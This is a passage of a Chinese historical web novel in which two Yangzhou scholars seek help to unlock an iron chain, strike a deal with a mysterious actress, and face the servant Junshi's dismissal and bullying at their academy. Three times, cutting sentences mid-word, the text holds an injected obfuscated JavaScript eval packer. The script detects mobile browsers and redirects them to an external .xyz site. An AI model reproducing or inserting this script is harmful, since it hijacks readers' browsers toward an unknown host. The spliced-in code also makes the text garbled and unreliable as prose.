君实愕然,却并不慌张,只哂笑道:“戏中‘丽妃’身姿一如那重明鸟,不是班主又是谁?约莫是她开了个玩笑,引你这‘老相好’前去会面呢!” 仕渊冷笑着翻了个白眼,拉住了正四处忙活的茶博士,道:“去跟林班主通报一声,就说‘贾相公派人来问个话’。” 茶博士谄媚地给二人找了个座位,还看了茶,一溜烟儿往后台跑去。 “这帮看人下菜碟的家伙!”君实哧鼻,“正如你先前所说,林家班如此大手笔,定是背后有大人物撑腰,看来正是你那贾姓友人罢?” “不错,林家班东山再起乃是倚仗临安贾府。我那故友托他爹的福出任直秘阁,表面风光,实际是个贴职,没什么油水。若我所猜不错,这林家班所得,多半进了他的金库。” 仕渊呷了一口茶,见那茶博士小跑着回来了,便不再多言。 茶博士让二人稍等片刻,随后跳上戏台吆喝道:“好戏收场,多谢赏光!佳节良宵,诸君走好!” 茶博士领着二人进了乱轰轰的后台,下至底舱,叩响了一扇门。 君实平日鲜少与妙龄女子照面,见那门上挂着重明鸟木牌,胸中似有小鹿乱撞——这可是那惊鸿绝艳的戏中人、仕渊西子湖畔的故友,更是重振林家班的奇女子。 然而房门敞开后,他险些跌了个踉跄——传说中的林班主,原来是大戏末尾才出场的道士! 这位林班主身量颇高,一身宽大玄黑|道袍衬得他愈加瘦削,双手骨节分明,戴着五花八门的戒指。 他目光如炬,快速打量了二人后,眉开眼笑地喊了声“陆相公”,随后欠身将二人请进了房间。 房门一关,一切嘈杂声皆被隔绝。 这间船舱只有柴房大小,四壁挂满了戏服道具,书卷古籍堆了一地,全无落脚之处。唯一的舷窗下有张乌七八糟的工匠台,紧挨着狭窄的睡塌。 林班主一边忙着收拾,一边道:“寒舍狭小,让陆相公见笑了!” “谁让你林子规放着临安的宅第不住,偏要来当船夫?”仕渊打趣着帮忙挪动书籍。 “还能是谁?阁下您呗!还好鄙人生得竹竿一般,用不着那么大的宅子!” 林子规与仕渊相视而望,随即一齐仰面大笑。 清空了两张椅子,林子规示意二位就坐,自己则直接坐在一摞书上,撕下了面上的髭须。 这传奇班主三十岁上下,面庞骨骼分明,剑眉飞扬,双目浑圆深邃,高挺的鹰钩鼻下生了一张小巧的嘴。既不像重明鸟也不像子规鸟,更像是一只夜枭,倒也算英俊。 “秋帆贤弟啊,临安一别数年,没想到在扬州遇见你了!”林子规感慨道,“不过要找我直接报上大名即可,何必拿贾相公的名号捉弄愚兄?” “是两年零十一个月。”仕渊纠正道,“与你辞别后不久,我就来了扬州。没成想如今除了骷髅幻戏,林兄又添了一出‘天外飞仙’,着实让人大开眼界!哦对,久别重逢我一时兴奋,都忘记引荐了——这位是我同窗陆君实,镇江有名的才子!” 林子规与君实行礼后,又听仕渊调侃道:“我这兄弟还以为大名鼎鼎的林班主是戏中那位‘丽妃’呢,满怀期待……” “那鄙人怕是让小兄弟失望了!”林子规笑道,“至于那位‘丽妃’嘛……她不愿会见宾客,成日神龙见首不见尾,也不给个好脸色。我奈何不了她,你们若想拜会,只能随缘了!” “林兄莫听仕渊胡言,在下只是佩服‘丽妃’的绝技。”君实赶忙解释道,“今日我二位是专程来拜会阁下的,与旁人无关。” 仕渊见君实开门见山,便也不再寒暄客套:“我二人今日来此,一是想见识见识贵班风采,二来是有事相求。” “哦?世上竟还有能让贤弟为难的事?若是鄙人力所能及,定当倾力相助。” 林子规一言既出,仕渊将君实的宝蓝大氅解开,亮出那漆黑锁链,随后将二人这两天的遭遇统统告知。 “哈,盗圣都开不了的锁倒也稀奇!君实公子,且让在下细看。” 林子规饶有兴致地挪到君实身旁,拿起那锁头细细端详。他低声念着“神荼、郁垒”,又查 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14703233|157046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 验了那链子,道:“这铁链乍一看古朴粗笨,实则工艺极为精细,绝非民间凡物。敢问贤弟,此物出自何处?” “听说此物来自海外,说是走了趟‘鬼门关’才拿到。我也不知何意,估计是指此物来之不易罢!” 林子规浅笑一声,拿起了一把小铁锤,道:“那‘鬼门关’不过就是东海上的一个小岛,暗礁遍藏,终年大雾弥漫,极为难寻。那里鱼龙混杂,男盗女娼。杀人越货的、走私淘沙的,都是些见不得光的人窝在一起苟活,干着见不得光的买卖。若非尘世混不下去了,也没人想去那种地方,故称‘鬼门关’。” 他讲得轻描淡写,仿佛是在调侃隔壁街的菜市一般。 君实闻言甚是惊诧——原来世间还有这种地方!他默默地看着林子规拿小锤在自己身上敲敲打打,身体不自觉地僵硬起来。 忽然间,林子规停下了手上的动作,好似发现了宝藏一般,拿小锤敲了敲那锁头道:“此锁栓内确实有精细机关。造物者精工细作铸此物件,定是不想让人轻易打开。” “是啊,这锁链还不是一般铜铁,总不能将君实推进炉子里用百炼真火啊!我可不想提前为我这堂叔披麻戴孝!”仕渊沮丧道。 “二位莫急。”林子规道,“匠人铸锁后定会试锁,所以一定有解。事出突然,鄙人一时半会也看不透这机关玄妙,且容我查阅书籍仔细琢磨。这戏船会在茱萸湾休整三日,随后回明州港,你们过两日再来找我。不过话说回来,解铃还须系铃人,此物是何人所有?可知这锁链出自何处?” “得来此物之人怕是还没有我们知道的多,鸡鸣狗盗之辈罢了!”仕渊终归还是没将海沙帮及坤珑阁抖落出来。 “有个道士!”君实插言道,“有个道士先后两次欲买此物。我们也不知其名号,更未见其人,据说生得矮胖,双目外突,头生麻斑——” 未等君实说完,林子规抢了后半句:“是不是还老背着几个葫芦、生了张大嘴蓄着两根髭须、张口闭口喜欢说‘徒劳徒劳’?” 仕渊见事情有转机,立刻又来了精神:“正是正是!林兄识人甚广,可知这道士究竟何人、现居何处?” “如今道法兴盛,又恰逢乱世,天下的道士也多,鄙人不敢断言他就是你们所寻之人。我所说之人姓王名金蟾,自称‘金蟾子’,数年前与我有过交集。只可惜此人浪迹江湖,居无定所,我也不知他现安何处。” 偌大的江湖寻找一道人堪比大海捞针,但至少知道了此人的名号,也不算是空欢喜一场。 谈天叙旧了许久,待出船舱时才发觉长夜将明,日渐破晓。 戏船此刻正在茱萸湾外几里处飘泊,连绵不断的雾气拂过水面,向远方流动,难得的僻静让人心旷神怡。 辞别了林子规,仕渊二人疲惫地踏上了一旁等候已久的轻舟。小舟刚驶出去没多久,忽听身后传来缥缈清冽的呼喊声—— “公子且留步!” 仕渊回首,透过薄雾,见戏船的甲板上有一抹月白色。 恍惚间有些眼熟,他眯起眼睛,但见轻云蔽月,惊鸿拂水,那月白身影飘然落至二人面前,脚下的小舟却纹丝不动。 如此身形,不看面容便知,乃是“丽妃”驾到。 ------------------------------------- 【1】取自隋代《化胡歌七首·其一》,佚名 8. 骷髅幻戏不夜天,烟波碧水落飞仙(下) 女子立于船头,衣裙漫飞,仿佛随时都会随这薄雾一同散去,却又似松柏扎根泥土中,任这轻舟摇摆,兀自岿然不动。 她素面朝天不施粉黛,称不上国色天香,端的是风神细峭、气韵洒脱。面庞瘦劲,眉眼飞长,清丽中透着三分孤冷,若不是指尖嫣红蔻丹未卸,否则丝毫看不出她便是那戏中人。 莺莺燕燕仕渊见得多了,若非将眼前女子比作什么,他只想到了徽宗笔下的“瘦金书”。 “丽妃”不是从不见客的吗,为何这时主动找上门了? 朦胧之中,三人相视无语,直到女子率先打破沉默:“二位公子可是要找一位叫‘金蟾子’的道士?” 二人面面相觑。仕渊还未回应,不料自己的肚子不争气,发出了一阵悠长的“咕咕”声,被清晨的寂静无限放大。 他二人昨日自涌春楼出来后便再也没有闲暇进食,熬了一晚上没觉得,胃袋却偏偏在这时候哭穷。 女子别过头去,嘴角隐约动了几下,待再度回头时,眼神少了些先前的冰冷,“船快靠岸了,我们找个地方边吃边说吧。” ------------------------------------- 扬州城的一天始于“煎点汤茶药”。 今日正值小满,清晨天色灰蒙,淅淅沥沥的小雨丝毫不影响人们“过早”。至五更左右,东门一带活络起来。忙生计的在洗面铺洗漱后,总会来此灌上一碗茶汤、嗦两口面,之后再开始一日的奔波。 雨中的贩夫走卒们粗布麻衣,行色匆匆,而此刻东门旁一家茶肆内悠哉地坐着两男一女。 他们衣着不凡,点了满满一桌的的吃食。其中一粉白明眸的小生身着华服,好生贵气,却风卷残云地嗦着碗丁香馄饨,末了又叫了盘新鲜车螯。另一小生裹着件奢华大氅,正用苇管饮着茶,虽斯文有余,却像极了吸血的蠓虫。 还有一月白衣裙的女子,目不斜视地看着二人连吃带喝,自己却连筷子都没碰一下。 “趁热尝一尝!”仕渊将车螯推到了“丽妃”面前,“这是今早刚捞上来的车螯。连欧阳修都称赞过‘此蛤今始至,其来何晚邪。但喜’——” “欧阳修是谁?”女子不假思索道。 二人再度面面相觑——虽说寻常女子不读书,但欧阳修不仅文传于世,又曾是百姓父母官。不识“醉翁先生”名号有如唐人不知李太白、兵家不知岳武穆。 “不打紧。”君实接道,“此蛤乃本地特色,又是现下时令,来扬州一趟不可错过。” “修行之人,不沾荤腥,公子且自行消受。”女子回应颇为冷淡。 仕渊见自己襄王有意,但她神女无情,便也不再自讨没趣:“姑娘前日现身蕃釐观,昨日歌舞许久又扒了一夜墙根,定是劳累。虽不请自来,但也不能全凭一口仙气吊着呀。” 女子没有理会他的讥讽,只兀自道:“我知道你们要找的道士在哪里,也深知公子的处境。道士人在北方,具体方位恕我不能多言。你们只需成全我一个心愿,我自会带你们找到金蟾子,让他将这锁链打开。” 女子说话掷地有声,不像是戏弄人,二人听罢却面露难色。 仕渊从小娇生惯养,君实则一直寒窗苦读。二人连城门都没出过几次的人,却要到兵荒马乱的北方找一江湖人士,就算自己胆肥,家人也定然不会同意。 于是他道:“北方遍地都是蒙古人,又有匪徒草寇横行,烧杀抢掠之事屡见不鲜。我二人一介书生,手无缚鸡之力,怕是要连累姑娘你。不如姑娘告诉我们那道士身在何地,我们派镖师去请,到时必有重金酬谢!” “大可不必。”女子丝毫不为所动,“金钱于我有如草芥。若你们扬州城的镖师真有如此神通,你们重金去请便是。且看他们能否寻得那道士,那道士又是否会跟他们走,倒是用不着我了,告辞。” 女子起身欲走,仕渊心道或许还有商量的余地,一时情急扯住了女子的袖角。 她本是佯装作态,没成想罗袖被撕坏,满脸不悦,一个回旋甩开了仕渊,顺势又坐了回去。周围食客们偷偷瞥着他们三个,以为两位富家少爷在调戏教坊女子。 仕渊赶忙赔了个礼,恭敬道:“我二人能否去拜访那道士还得与家里商量。但姑娘好歹透露一下那道士的大致方位,我二人好让家人知晓,也好有所准备,多雇两个高手护得周全。不然我真出了事儿,家人来寻仇,姑娘也不得安生。” “公子就不问问我需要你们帮什么忙?”女子哂道,“做生意要讲究钱货两清,哪有像你们这般空手套白狼的?素闻扬州陆氏讲究‘仁义礼智信’,怎料晚辈这般贪生怕死不说,还想从女人口中贪便宜?” 仕渊深知这是在激他,没成想女子对他知根知底,显然是有备而来。 “姑娘不妨说说看。”他悻悻道。 女子道:“公子方才说得不错,北上路途凶险,凭我一人之力确实不够。所以我想拜托你们帮我请个人一同北上。此人功夫不错,定能保你二人周全。” “敢问此人何方神圣?” “扬州刺史,秦怀安。”女子一字一字道。 “秦大人?”仕渊一脸愕然,“此人武将出身,素来不与我陆氏来往,你要我如何去请?更何况人家朝廷命官,怎能撇了公务同我们北上?” 他实际上藏了半句话没说。 秦怀安是前右相赵葵的人,而当今朝堂是由左相谢方叔独揽大权。谢、赵二相不和天下人皆知,他自己倒是不介意与秦怀安携手北上,却怕会坑了他那穿公服的爹。 “朝堂之事我不在乎。秦大人若是闲人一个,我自己便去请了,要你何用?” 女子全然不理仕渊的顾虑,径自道,“另外还有两点,你们去请秦大人,一来不能用强,要让他心甘情愿北上。二来此行至少一个月,不能害他丢了官职。至于怎么请,借公务之便还是如何,你且费心,自行斟酌罢。” 仕渊闻言颇为不悦——长这么大,还没有外人敢对他颐指气使。于是他浪声浪气地回呛起来:“敢问姑娘,为何非得是秦大人啊?处处为他着想,你是他什么人、又非教他跟你去北方作甚?若是私奔的话也得两情相悦啊……” “轻浮!此事与你何干?休得妄自揣测。”女子脸上浮现愠色,赶忙呷了一口茶。 “那就恕小爷我无能为力了。请个大夫都须报出因果缘由,更何况是个与我八竿子打不着的官老爷?”仕渊边说边擦嘴,“容我奉劝姑娘一句,你有求于我们,想带我们北上找人,若此时不能坦诚相待,今后如何患难与共?” 言尽于此,他也不等女子回话,即刻叫来了小二,掏钱时才发现君实那荷包已见了底——他把剩余的银两全打赏给等了二人一夜的船夫。 他急得满头大汗,女子却悠然自得。 她手中握着仕渊丢失的宝石匕首,拨弄着桌上的几粒碎银,格格窃笑:“看来二位没少为林家班花钱。冤家,难得你们这么捧场,这顿饭就当我请了!” 女子凶器在手,笑里藏刀,满满的胁迫之意。本来还在怄气的仕渊只得干笑道:“姑娘所托之事,容我思量一番再做答复。君实,我们走!” 他匆忙离席,不料身后月白色身影一晃,待回神时,二人再度照面。 女子挡住了他的去路,手中匕首正抵着他的胸膛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14703234|157046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 她踮起脚尖,在仕渊耳畔道:“我先前在戏台上,见你对此物宝贝得紧。我且留它当个信物,公子若想清楚了,便来茱萸湾找我吧!” 这声音如此近,却仿佛隔了层冰霜。说罢,她出了茶棚,长发被打湿,转眼消失在雨雾中。 巳时过半,扬州城依旧是阴雨绵绵,看来今日这天是晴不起来了。 回陆园的路上,仕渊心事重重。 请秦大人之事倒还好说,毕竟是住在扬州城的大活人,打通关系劝他告假十天半月倒也不是难事。 但难就难在如何北上。 仕渊虽一直渴望出门游历一番,但真等时机到了,又打了退堂鼓。 现下蔡州颍川以北已被蒙军入主,南人避之不及,北上免不了被盘剥一通。万一身份暴露了,被扣押不说,吏部尚书之子与五品官员出游敌阵,保不齐会被有心者扣上个通敌叛国的帽子,连累了两家人。 若沿运河而上,则可省去许多时日。只是现下山东一带有李璮拥兵自重,登州、海州港口及邳州段运河已被其红袄军把持。李璮数次犯境淮南东路欲夺楚州,早就没有北上的船只了。 到家一进大门,管家便跑来传话:“大当家请君实小弟后堂谈话。” 仕渊一人回了“杏苑及第”。更衣后,丫鬟书琼提了一句“方才徐山长来过了”,可他根本没有心思听她嘀咕,一头栽倒在床上睡去,直至日沉。 窗外雨声依旧,外间传来饭菜香味。 君实踮脚站在餐桌旁,艰难地用铁索下的手摆着桌。 “你终于愿意伺候小爷啦?”仕渊打了个呵欠,“书琼呢?” “书琼姐还在厨房捏藕粉圆子呢。我请她帮忙,做了几个老家的小菜,少爷趁热试试看合不合口味。以前每逢入冬,家里都要做盐水鹅腊鹅,只可惜现下这鹅还未贴秋膘——” “君子远庖厨,你不做君子了?”仕渊出言打断,“奔波两日不去休息,下厨作甚?厨房的人是不干了吗?” “不干厨丁们的事,是我自作主张。”君实满脸疲态,“这草炉饼很快就凉了,夹着马兰头和鹅斩最对味。” 事出反常必有妖。 “是不是我大伯跟你说了些甚?”仕渊试探道。 君实咬着牙思索了片刻,最终还是低下了头:“君实身为陪读,却玩忽职守,纵容少爷耽误了两天学堂课业,辜负了陆家长辈……” “陆君实你个傻子!”仕渊急道,“你平时口齿不是挺伶俐的么,被人冤枉了怎么不为自己辩解一番?” 他认识的君实虽不曾春风得意,却也从未垂头丧气过。 而眼下的君实只是呆立在那里,七尺之躯却像被雨打的秧苗,嗫嚅了一句本不应从他嘴里说出的话:“毕竟尊卑有别,我怎敢顶撞大当家……” 仕渊心中蓦地一沉。 与君实朝夕相处许久,又在外奔波玩闹了两日,他全然忘记君实除了没有卖身契外,其实同大多家仆并无二致——都是领月钱的,赏罚去留全凭主子的发落。 “算了,你的苦心我明白,我今后乖乖上课用功读书便是,也省得大伯为难你。”他宽慰道,“这事确实是因我而起。说罢,你被罚了多少月钱,我补给你便是!” 君实面露难色,欲言又止。良久,他深鞠三躬,道:“少爷平时待君实不薄,君实感激涕淋,却无以为报,只能做一桌家乡菜来向少爷道别,怕以后没机会了……” “他们把你辞了?”仕渊登时火冒三丈,“动我身边的人都不跟我商量一下,还当我黄毛小儿啊!” 说罢,他连外衣都没穿便冲入雨中,径直向大伯所在的东院跑去。 9. 尘泥无端凝作霜,闲言碎语费思量(上) 君实出门去追,怎奈锁链在身,被仕渊远远地甩在了后面。下人不得在园内闲逛,他只能回“杏林及第”等待。 最后几株杏花被雨打落在地,他瘫坐在石阶上,终于无力支撑,暗自啜泣了起来。 他恐怕此生都与“杏苑及第”无缘了。 丫鬟书琼端着一碗藕粉圆子走来,见君实一人窝在门前,张罗许久的饭菜被晾在桌上,便问:“君实小弟怎么坐在这儿?少爷呢?是知道你要走了?” 君实泪汪汪地点点头:“少爷去大当家那里了。” 书琼放下碗,拿帕子擦了擦君实眼泪,将他扶起道:“少爷仗义,你若是不想走,他定有办法留住你。你若是想走,他也不会亏待你。行啦,别掉金豆儿了,我伺候你去厨房吃点儿东西,鹅肝鹅架子我给咱留着呢!” 君实本就伤心,听到自己吃点儿东西还要别人伺候,好不容易止住的金豆儿又开始往下掉:“书琼姐心善,君实铭记在心。但我实在是累了,先去歇息了……” 望着君实离去的背影,书琼不由地感慨:多好的少年郎!可惜少爷一朝瞎胡闹,耽误了人一家子。 她转眼见一掌灯的小厮路过,便喊道:“纯哥儿,去帮你君实哥铺床更衣,一会儿赏你个鹅架子啃啃!” 那少年生得精壮,肚子里正好缺油水,一听鹅架子,立刻撂下手中的灯,搓着手朝偏房奔去。 另一头,仕渊的单衣被淋了个透。他撑着家仆递来的伞,在大伯院内候着。 陆伯金正与家人用晚膳,许久后才出门。下人递来布巾,他擦着手道:“帆儿是为君实之事来的吧!” “大伯你怎地不同我商量一下就将人家给辞了?”仕渊心中急切,话已出口才觉莽撞,赶忙行了个礼补救。 “同你商量?是你雇的他,还是你给他发的月钱?”陆伯金面有愠色,“我每个月六十贯地供着他,不是让他教你怎么顶撞山长、怎么逃学的!” “今日我二人未去书院,是因为好不容易找到了解开君实锁链的门路。” 仕渊赶忙解释,随后便将事情原委和盘托出。 末了,他低头认了个错:“都是侄儿自己荒唐,大伯尽管罚我便是,切莫迁怒于君实。” “你也知道自己荒唐?”陆伯金厉声道,“大白天不上学跑到季堂铺子里瞎闹,害得这两日全家人为了给你善后而东奔西走。昨日天祺阖家宴,老太君等了你一个时辰不见人影,原来跑去茱萸湾看大戏去了,还跟戏子厮混一夜! “今日你爹不在,我便替他数落数落你!二十多岁的人了,不立业也不成家,银子倒是没少花,秋赋不见你参加!” “大伯你怎么还压上韵了……”仕渊嗫嚅道,“大伯若是收回成命将君实留下,侄儿保证好生读书,再也不做荒唐事了!君实比书院里的讲师教得都好,你将他撵走了,上哪里再请个镇江神童啊?” 陆伯金冷笑一声,双手一背:“我大宋才子遍地都是!走了个镇江神童,还有那莆田状元、临川才子!” 仕渊见这招不灵,只得反呛:“陆氏向来讲求‘仁义礼智信’。我一时玩闹让君实陷入这般境地,陆家却反将他辞了,岂不是败坏了我陆氏声誉、让坊间人笑话?” “侄儿啊,你还是涉世未深,心智不全,所以让你早些读书入仕嘛!” 陆伯金颇有些恨铁不成钢,“君实如今别说穿衣吃饭,连如厕都需要人伺候!我不仅得给他月钱,还得再雇两三个人来照料他。那就得再多建一间房,每人每月至少搭进去一石米二十贯月钱。 “淮扬一带养着无数难民,临安府周边人满为患,还得赔钱搭人力给他们供粮,当下米价有多贵你可知道?” 仕渊袖中的双拳紧攥,指甲嵌进了手心肉——他真的不知道。 “你当然不知道,你只知道荒唐。不读圣贤书,也不知奔波苦!”陆伯金苦口婆心道,“为了你干的荒唐事埋单,陆家账房每年至少要支出两千贯钱! “如今往北方的漕运彻底断了,各商行流通慢,你三叔那儿也许久不进帐,还得养活手下兄弟。家里花不起这闲钱! “不过你放心,君实好歹也姓陆,我已给他一笔安置费,连带镇江的一处老屋地契,好让他将家里人接到城内住。” “可,可是,有些事它不是钱的事啊!”仕渊至今都未想到这一层,一时急火攻心,吞吞吐吐,不知如何以对。 “况且若真要谈声誉,你觉得是陆家辞了个下人更败坏声誉,还是陆家有人被锁链捆了更败坏声誉?”陆伯金不紧不慢道,“坊间传闻天天有,不过茶余饭后谈资罢了,有几个真正关心的? “陆家辞个人,待他坐上泊船后,旁人就忘了这事了,回头该买甚么还是会到我们的铺子里买,不耽误。但有人被铁锁一直捆着,还隔三差五在街头巷尾晃荡几下,换做你,你会忘了这事? “市井之民,他们只信眼前事,谁有闲心去刨根问底探清真相?他们只会觉得我陆家仗着权势,光天化日拿铁锁捆了个可怜人!” 大伯的一席话如有雷霆之威,震得仕渊哑口无言。 原来他每次“放浪形骸”的背后,都有不少人如履薄冰。原来“天下攘攘皆为利往”不只是夸夸其谈。原来一贯标榜“仁义礼智信”的自家人,其实也是“利”字当头。 无奈之下,他跪在了雨水中,央求道:“三日!让我留君实三日,看那林班主能否找到锁链的破解之法!若不能,便听候大当家处置!” ------------------------------------- 君实回房后辗转反侧,难以入眠。 陆园这两年的往事历历在目,本以为熬过今年秋天就可以进士及第,光宗耀祖,却没想到突然间被人弃如敝履。 眼下他只能自己去求林家班那两位戏子。但若依旧不成功该当如何? 他第一念想是从北固山、焦山、金山中的随便一座跃下,一了百了。但天无绝人之路,更何况镇江三山皆是佛门清净之地,怎能容下这般业障? 只是回乡之后该如何向家人交待,自己今后又该何去何从? 他盘算了半个夜晚,觉得无非就是找个乡野之地当个教书先生,娶个心善的农妇照顾自己,了此余生。待仕渊平步青云后,能来封书信便甚好。 半寐半醒之间,天渐破晓,是时候起身收拾行囊了。 君实欲找个人搭把手,但想到值夜的家仆们才刚刚睡下,赶早堂的家仆现下正忙得不可开交,他干脆又躺平了。 小憩没多久,忽地房门大开。一个巴掌拍在了他后腰上,惊得他差点儿滚下床。 “上学啦,状元郎!” 仕渊破天荒地梳洗完毕,挎着书袋站在他面前。 君实顿时睡意全无。门外的书琼见他已起身,端来了洗漱用具,随后看笑话似地退回门口张望。 仕渊抄起面巾在洗面汤里沾了两下,往君实脸上糊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14703235|157046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去。君实下意识地往后躲了一下,道:“少爷,这不合礼法,使不得!” “别说话,嘴里有味儿!” 仕渊抄起刷牙子,沾了点牙粉捅进君实嘴里,“怎么不合礼法?于礼,你是我堂叔,辈份比我大,孝敬一下寻常事而已。于法,陆伯金将你辞了,你就不再是陆园的下人,而是我陆仕渊的同窗好友。帮衬一下好友不在话下!” 明知这小少爷又是心血来潮,君实心中却踏实了几分,任由刷牙子在嘴中搅来搅去,含糊不清道:“可是我答应了你大伯今日早膳之后离去……呜噜……地契我都收了……” “我昨晚去求大伯了。他同意等拜访完林子规后再做定夺,所以现在这地契是不是你的还不一定呢!” 说话间,仕渊往水碗里插了根苇管,又趁着君实漱口时麻利地将方巾束在了他头上。 末了,他将那宝蓝大氅罩在君实身上,打了个死结。 “走,上学去!” 仕渊看了看君实嘴边的牙粉,君实看了看仕渊乌黑的眼圈,二人傻乐了一阵,随后如往常一样往观琼书院走去。 怕是昨晚大伯的一番训话让仕渊有些杯弓蛇影,自出了院门,他总觉得一路上总有人在他二人身后指指点点。一回头,那些窸窸窣窣立马又变回了行色匆匆。 他深知君实面皮薄、心思重,偷瞄了几眼,见君实紧咬牙关满脸羞愤,身披大氅,所到之处仿佛有霜雪凝结。 课业依旧使人昏昏欲睡,仕渊为了将功赎过,只得打起十二分的精神来。不少同窗投来好事的目光并交头接耳,他回头见君实埋首书间,并无异样,便也没多管。 下了学,他让君实在庭院里等候,自己则跑去徐山长的厅房里乖乖认错。 徐山长念其初犯,并没有过多苛责,只罚他抄写《修学门庭》《观琼书院揭示》各三遍。仕渊接了书,毕恭毕敬地听着徐山长重复着为学、修身、处事、接物之要。 眼皮正打架时,房门外远处传来一阵喧嚣,虽听不清详细,但似乎又是那几个泼皮同窗在欺负人。 徐山长充耳不闻,只一心说教,仕渊只得强忍好事之心——听完这遭训诫,顶撞师长和逃学的事就可以翻篇儿了,此刻世事与他无关。 不消片刻,那群喧嚣中蓦地传来了一声怒吼:“尔等下作,休得无礼!” 是君实的声音! 紧接着,一阵放肆的嗤笑传来:“下作?那敢问小郎君,四月孟夏,你裹着个大氅作甚?” “还能作甚?定是跟他家少爷日日陌上花开、草长莺飞,虚了呗!” “难怪你家少爷二十多了都没定过亲,原来不喜欢‘点绛唇’,而是喜欢‘□□花’呀!” 同窗们用文邹邹的语气说着淫邪的话,仕渊听到已然青筋暴起。平日里他也没少与同窗嬉戏打闹,却无法忍受他们嚼舌根、欺辱自己身边的人。 徐山长似乎耳力不好,仍是滔滔不绝。 仕渊正打算忍下这口气,一会儿出去再算账,不料门外传来了追逐之声,其间伴着阵阵讥笑:“小郎君,掀开你的大氅看看嘛!” “哎呦,真的是条锁链!陆秋帆还玩出花儿来了!” 一片哄笑中,隐约能听见君实在挣扎:“放开我!” 此时徐山长也停下了说教,扬声道:“外面何人喧哗?” 仕渊早就坐不住了,一巴掌夺过徐山长手中戒尺:“外面强抢良家男子了!等我去教训教训他们!” 10. 尘泥无端凝作霜,闲言碎语费思量(下) 仕渊气势汹汹地踹开房门,但见庭院另一头六七个人围在一起。 君实被两人架着肩膀,动弹不得,那为首者正是前几日让他滚回临安城的泼皮,于勉。 于勉正拨弄着君实身上的铁链,言语轻薄,全然不知几十步以外的厅房外正传来浓浓杀气。 总算有理由治治这厮了! 仕渊准备新仇旧恨一起算,一挥袖间,手中戒尺直奔于勉下盘飞去。 那厮正耍得春风得意,忽地膝后窝吃痛,腿立马打弯,“扑咚”一声跪在了君实眼前! 君实同周围几人齐齐怔住——怎地这人前一刻登徒子,后一刻就行大礼了? 于勉也是一惊,一时起不来,刚要破口大骂,却被甚么东西迎头一甩,但听:“修身之要,言忠信行笃敬知不知道!”【1】 仕渊一只手背在身后,另一只手拿着两本册子,未等其反应过来又是反手一扇:“处事之要,正其谊不谋其利知不知道!” 于勉这下是彻底被扇蒙了,全然忘记自己还跪在君实面前。 “接物之要,己所不欲勿施于人知不知道!” 仕渊重复着徐山长方才的教诲,见于勉两颊的大红印和一脸懵样,瞬间破功了。 他一边格格地乐,一边将手中册子搭在于勉头上:“这《修学门庭》和《观琼书院揭示》拿回去各抄三遍,明日一早给我,我便放你一马!” 于勉气急而立,撸了袖子便要同仕渊拼命,回头却见徐山长站在厅房前,只得悻悻收手。 方才架着君实的两人见状也立刻撒手,夹起尾巴道:“山长莫见怪,大家都是同窗,不过下学了闹着玩儿而已!” “是啊是啊,不知山长在内,多有叨扰!老于这大礼也行了,知错了!” 说罢,这几人抓起地上的两本册子,连拖带拽地架着于勉往外跑。这厮临走时还不忘呛一句:“陆秋帆你神气个甚!就会仗着家世唔唔唔……别捂嘴!疼着呢!”。 仕渊也想拉着君实溜之大吉,却被徐山长一声“站住”拦了下来。 徐山长上前来,捋着胡须摇了摇头:“我方才的规劝你倒是记得挺牢。只是君子动口不动手知不知道?” “那于勉光天化日羞辱人,山长怎地不规劝规劝他?”仕渊指了指衣冠不整的君实,恼道,“观琼书院只教书不育人的吗?” “于勉那帮孩子,家里都是市井商贩。读书入仕于他们,不是唯一的道路。”徐山长缓缓道,“他们街头巷尾闹事闹惯了,又有何人在意?” 他捡起地上摔成两半的戒尺,又道:“但你是什么身份?今日你动手打人,明日满城皆是风言风语。嘴长在于勉身上,怎么讲都是他有理、怎么讲都有人信。人言可畏,人言可畏啊!你以为你是在为君实出气,实则更为败坏你二人名节。入仕之途如千军万马过独木桥,十年寒窗不易,切莫让少年意气成了你举荐选官的污点!” 仕渊脑中嗡嗡作响,仿佛又回到了前一晚与大伯的对话。 为何错总是在自己?为何自己的言行在他人眼里总是不合时宜?为何临安府他过得如鱼得水,到了这扬州城却处处碰壁?为何明明自己生得众星捧月,而他于勉却可以活得逍遥自在? 气闷难鸣间,徐山长拍了拍着他的肩膀,道:“我这观琼书院太小了,纵使我前后操持,也快要容不得你了。你且回家反省一阵,暂避风头罢!” 他转而又对君实道:“我昨日拜访时,陆员外已将你的情况悉数告知。眼下还有十余日便放田假了,我准许你二人提前告假,望你们早日了却眼前事,不要误了八月的秋闱。君实,你颖悟绝伦,要多多督促你家少爷。” 